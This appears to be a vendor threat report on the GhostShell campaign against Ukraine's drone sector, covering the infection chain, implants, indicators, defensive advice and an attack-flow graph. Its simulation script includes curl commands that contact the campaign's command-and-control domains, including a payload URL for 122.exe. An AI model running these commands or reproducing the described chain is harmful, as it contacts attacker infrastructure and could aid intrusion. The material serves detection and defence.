GhostShell (MB-0009): Targeting Ukraine’s UAV Operations and Defense Supply Chain

SOC Prime Team

GhostShell (MB-0009): Targeting Ukraine’s UAV Operations and Defense Supply Chain

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

A newly tracked threat cluster known as GhostShell is targeting Ukraine’s UAV and broader drone ecosystem. The operation uses advanced malware, including mTLS-authenticated implants and memory-resident loaders. To gain initial access, the attackers rely on decoy documents that impersonate a Ukrainian drone company.

Investigation

The analyst uncovered a multi-stage intrusion chain built around VBS scripts, mTLS-enabled implants such as 122.exe, and Telegram-based loaders including update.exe. Reverse engineering exposed custom XOR decryption logic, an embedded private PKI, and use of Xray Core for covert tunneling. The investigation also identified Vidar infostealer activity within the same infrastructure.

Mitigation

Organizations should enforce strict mTLS certificate validation and monitor for unauthorized use of client certificates. Endpoint visibility should be improved to detect in-memory loading, ntdll.dll unhooking, and suspicious changes to Windows Run key persistence. Teams should also watch for abnormal outbound traffic to known command-and-control domains and Telegram-driven configuration retrieval.

Response

Affected systems should be isolated immediately, followed by memory forensics to identify any in-memory implants. Network logs should be reviewed for traffic involving cloudaxis.cc and cdnexpress.cc. Security teams should also hunt for the referenced SHA-256 hashes and monitor for the specific mTLS client certificate CN=ed6e62814295701f.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 classDef operator fill:#ff9900 %% Initial Access and Execution Phase action_phishing["Action – T1566.001 Phishing: Spearphishing Attachment Description: Social engineering using decoy PDF documents impersonating Besomar to target UAV ecosystem."] class action_phishing action action_exploit["Action – T1203 Exploitation for Client Execution Description: Exploiting CVE-2025-8088 and CVE-2025-6218 via malicious archive Besomar_documentation.rar."] class action_exploit action process_vbs["Process – T1059.005 Command and Scripting Interpreter: Visual Basic Description: VBS file dropped into Windows Startup folder executing Base64-encoded strings via ExecuteGlobal."] class process_vbs process %% Persistence and Payload Download action_persistence_startup["Action – T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Description: VBS file placed in Startup folder for persistence."] class action_persistence_startup action network_download["Network – T1105 Ingress Tool Transfer Description: Downloading secondary payloads from cloudaxis.cc."] class network_download network op_branch(("AND")) class op_branch operator %% Path 1: 122.exe malware_122["Name: 122.exe Description: Loader that decrypts an embedded PE using XOR and executes it in memory."] class malware_122 malware action_fingerprint["Action: Host Fingerprinting Description: Collecting computer name, username, and PID."] class action_fingerprint action network_c2_122["C2 Communication: cdnexpress.cc Description: Uses unique mTLS client certificate for authentication."] class network_c2_122 network action_screen_cap["Action: Screen Capture Description: Capturing screens via GDI+."] class action_screen_cap action action_persistence_reg["Action: Registry Run Keys Description: Establishing persistence via Windows Registry Run keys."] class action_persistence_reg action %% Path 2: update.exe malware_update["Name: update.exe Description: In-memory loader retrieving C2 config from Telegram."] class malware_update malware action_anti_analysis["Action: T1562.001 Impair Defenses: Disable or Modify Tools Description: Unhooking EDR/monitoring tools by patching ntdll.dll."] class action_anti_analysis action action_metasploit_stager["Action: T1059.003 Command and Scripting Interpreter: Windows Command Shell Description: Executes a Metasploit-style HTTPS stager in memory."] class action_metasploit_stager action %% Path 3: 22.exe and Vidar malware_22["Name: 22.exe Description: Multi-stage launcher utilizing Xray Core client."] class malware_22 malware network_vless["Network: T1573 Encrypted Channel Description: Tunneling traffic via a VLESS connection."] class network_vless network malware_vidar["Name: Vidar Malware Description: Credential and data theft tool targeting browser passwords, cookies, wallets, and messaging artifacts."] class malware_vidar malware %% Connection Logic action_phishing –>|leads_to| action_exploit action_exploit –>|results_in| process_vbs process_vbs –>|uses| action_persistence_startup action_persistence_startup –>|triggers| network_download network_download –>|delivers| op_branch %% Branching to payloads op_branch –>|payload_1| malware_122 op_branch –>|payload_2| malware_update op_branch –>|payload_3| malware_22 %% 122.exe flow malware_122 –>|performs| action_fingerprint malware_122 –>|communicates_with| network_c2_122 malware_122 –>|capable_of| action_screen_cap malware_122 –>|ensures| action_persistence_reg %% update.exe flow malware_update –>|retrieves_config_from| action_anti_analysis action_anti_analysis –>|executes| action_metasploit_stager %% 22.exe flow malware_22 –>|tunnels_via| network_vless network_vless –>|deploys| malware_vidar "

Attack Flow

Attack Narrative & Commands: The adversary has gained an initial foothold and is attempting to pull down a specialized payload (122.exe) to solidify control over the target. To maintain a low profile, the malware uses a hijacked or seemingly legitimate-looking CDN domain (cloudaxis.cc). Following the download, the malware attempts to “heartbeat” or send telemetry back to the C2 infrastructure via a specific analytics endpoint (cdnexpress.cc/analytics). The simulation will use curl to mimic these specific GET requests to trigger the URI-based detection logic.

Regression Test Script:

# Simulation of GhostShell Payload Download
Write-Host "[+] Simulating GhostShell Payload Download..."
curl.exe -I "https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe"

# Simulation of GhostShell C2 Communication (Analytics)
Write-Host "[+] Simulating GhostShell C2 Communication..."
curl.exe -I "https://cdnexpress.cc/analytics"

Cleanup Commands:

# No files are actually downloaded in this simulation (using -I for headers only)
# No persistent changes are made to the system.
Write-Host "[+] Simulation complete. No cleanup required."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free